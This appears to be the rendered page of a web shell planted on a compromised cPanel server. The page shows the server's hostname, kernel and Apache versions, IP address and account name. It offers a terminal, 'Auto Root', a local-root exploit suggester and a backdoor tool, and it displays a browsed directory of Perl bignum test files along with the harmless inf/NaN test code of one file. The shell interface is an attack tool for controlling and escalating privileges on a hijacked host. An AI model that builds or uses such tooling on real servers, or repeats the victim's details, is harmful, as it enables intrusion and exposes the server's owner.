Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
bignum /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
big_e_pi.t
395
B
-r--r--r--
2014-12-27 11:48
bigexp.t
527
B
-r--r--r--
2014-12-27 11:48
bigint.t
2.08
KB
-r--r--r--
2014-12-27 11:48
bignum.t
1.89
KB
-r--r--r--
2014-12-27 11:48
bigrat.t
1.71
KB
-r--r--r--
2014-12-27 11:48
bii_e_pi.t
323
B
-r--r--r--
2014-12-27 11:48
biinfnan.t
180
B
-r--r--r--
2014-12-27 11:48
bir_e_pi.t
483
B
-r--r--r--
2014-12-27 11:48
bn_lite.t
458
B
-r--r--r--
2014-12-27 11:49
bninfnan.t
180
B
-r--r--r--
2014-12-27 11:48
br_lite.t
461
B
-r--r--r--
2014-12-27 11:49
brinfnan.t
180
B
-r--r--r--
2014-12-27 11:48
in_effect.t
749
B
-r--r--r--
2014-12-27 11:48
infnan.inc
1.34
KB
-r--r--r--
2014-12-27 11:48
option_a.t
391
B
-r--r--r--
2014-12-27 11:48
option_l.t
1.18
KB
-r--r--r--
2014-12-27 11:49
option_p.t
307
B
-r--r--r--
2014-12-27 11:48
overrides.t
3.57
KB
-r--r--r--
2014-12-27 11:48
ratopt_a.t
462
B
-r--r--r--
2014-12-27 11:48
scope_f.t
859
B
-r--r--r--
2014-12-27 11:48
scope_i.t
891
B
-r--r--r--
2014-12-27 11:48
scope_r.t
859
B
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; my ($x); ############################################################################### # inf tests $x = 1+inf; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'inf'); $x = 1*inf; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'inf'); # these don't work without exporting inf() $x = inf; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'inf'); $x = inf+inf; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'inf'); $x = inf*inf; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'inf'); ############################################################################### # NaN tests $x = 1+NaN; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN'); $x = 1*NaN; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN'); # these don't work without exporting NaN() $x = NaN; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN'); $x = NaN+NaN; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN'); $x = NaN*NaN; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN'); ############################################################################### # mixed tests # these don't work without exporting NaN() or inf() $x = NaN+inf; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN'); $x = NaN*inf; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN'); $x = inf*NaN; like (ref($x), qr/^Math::BigInt/); is ($x->bstr(),'NaN');